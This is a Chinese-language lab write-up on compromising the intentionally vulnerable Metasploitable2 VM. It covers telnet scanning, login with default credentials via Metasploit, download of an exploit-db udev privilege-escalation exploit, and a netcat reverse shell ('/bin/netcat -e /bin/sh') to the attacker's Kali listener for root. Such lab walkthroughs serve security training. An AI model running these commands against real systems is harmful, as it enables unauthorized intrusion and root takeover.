Metasploitable2-Telnet的登录提权

0x00 简介

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。

工具:kali下的Metasploit

靶机:Metasploitable2

环境:

kali:192.168.84.137

靶机:192.168.84.141

0x01 Telnet介绍

Telnet协议是TCP/IP协议族中的一员,是internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。

虽然telnet较为简单实用也很方便,但是在格外注重安全的现代网络技术中,telnet并不被重用。原因在于telnet是一个明文传送协议,它将用户的所有内容,包括用户名和密码都以明文在互联网上传送,具有一定的安全隐患,因此许多服务器都会选择禁用telnet服务。如果我们要使用telnet的远程登录,使用前应在远端服务器上检查并设置允许telnet服务的功能。

Telnet服务端默认情况下使用23端口。

0x02 Telent的登录提权

首先就是nmap对靶机进行23端口的扫描。

Metasploitable2-Telnet的登录提权_第1张图片

扫描之后,可以知道23端口是开启的。

那么启动Metasploit,直接命令行输入msfconsole。

首先使用telnet_version模块来探测telnet的版本信息。

Metasploitable2-Telnet的登录提权_第2张图片

可以在倒数第三行看到用户名和密码都是msfadmin。

再使用telnet_login模块,进行telnet用户名密码的暴力破解,因为早已知道该靶机的用户名和密码都是msfadmin,所有我在使用该模块进行登录,就很快。。。。

use auxiliary/scanner/telnet/telnet_login

该模块的用户名密码只能通过文件来进行设置,不能指定用户名密码,其他的都差不多。

进行攻击后拿到一个shell。

Metasploitable2-Telnet的登录提权_第3张图片

但是这个shell的权限还是很低,就是msfadmin用户的权限,并不是root权限。

此处就介绍一下sessions -u 对应会话ID

可以通过此命令来尝试拿到meterpreter shell。

Metasploitable2-Telnet的登录提权_第4张图片

进行连接会话2,查看权限。

Metasploitable2-Telnet的登录提权_第5张图片

 

利用exp获取root权限

Metasploitable2-Telnet的登录提权_第6张图片

拿到普通shell。尝试从www.exploit-db.com下载exp。

但是发现因为该网址是https,导致下载失败。

Metasploitable2-Telnet的登录提权_第7张图片

所以为了解决这个问题,就先在kali上下载exp,再用shell从kali处下载exp。

kali上运行

wget https://www.exploit-db.com/download/8572

并使用mv命令将其改名为test.c。

接下来有两种方式,让shell能够从kali处下载test.c。

一是使用python的模块(python2的环境)

python -m SimpleHTTPServer(python2的环境)
python -m http.server(python3的环境)

并在下载的地址后面加上端口号8000即可。

二是开启apache2服务

service apache2 start

并将test.c移动到/var/www/html目录下,才能让shell进行下载。

将test.c下载到靶机后,就是编译运行了。

在编译的地方可能会出现下面的问题

英语不好,就不翻译了,不过解决的方法是在kali上将test.c文件打开,在末尾处多按几个回车键即可。

报错前的test.c文件:

Metasploitable2-Telnet的登录提权_第8张图片

修改后的test.c文件:

Metasploitable2-Telnet的登录提权_第9张图片

然后再重新从kali处下载就好了。

先nc监听:nc -lvp 4444(端口号随意,只需要和下面的端口号一样即可)

就是以下的操作:

gcc 源文件 -o exploit
echo '#!/bin/sh' > /tmp/run
echo '/bin/netcat -e /bin/sh ip nc的监听端口' >> /tmp/run
ps aux | grep udev
执行exploit 具有root权限的pid减1
./exploit 数字pid减1

Metasploitable2-Telnet的登录提权_第10张图片

运行完之后,监听端口反弹shell,拿到root权限。

Metasploitable2-Telnet的登录提权_第11张图片

拿到权限后,可以使用python -c 'import pty;pty.spawn("/bin/bash")'来获取伪终端。

你可能感兴趣的:(Metasploitable2-Telnet的登录提权)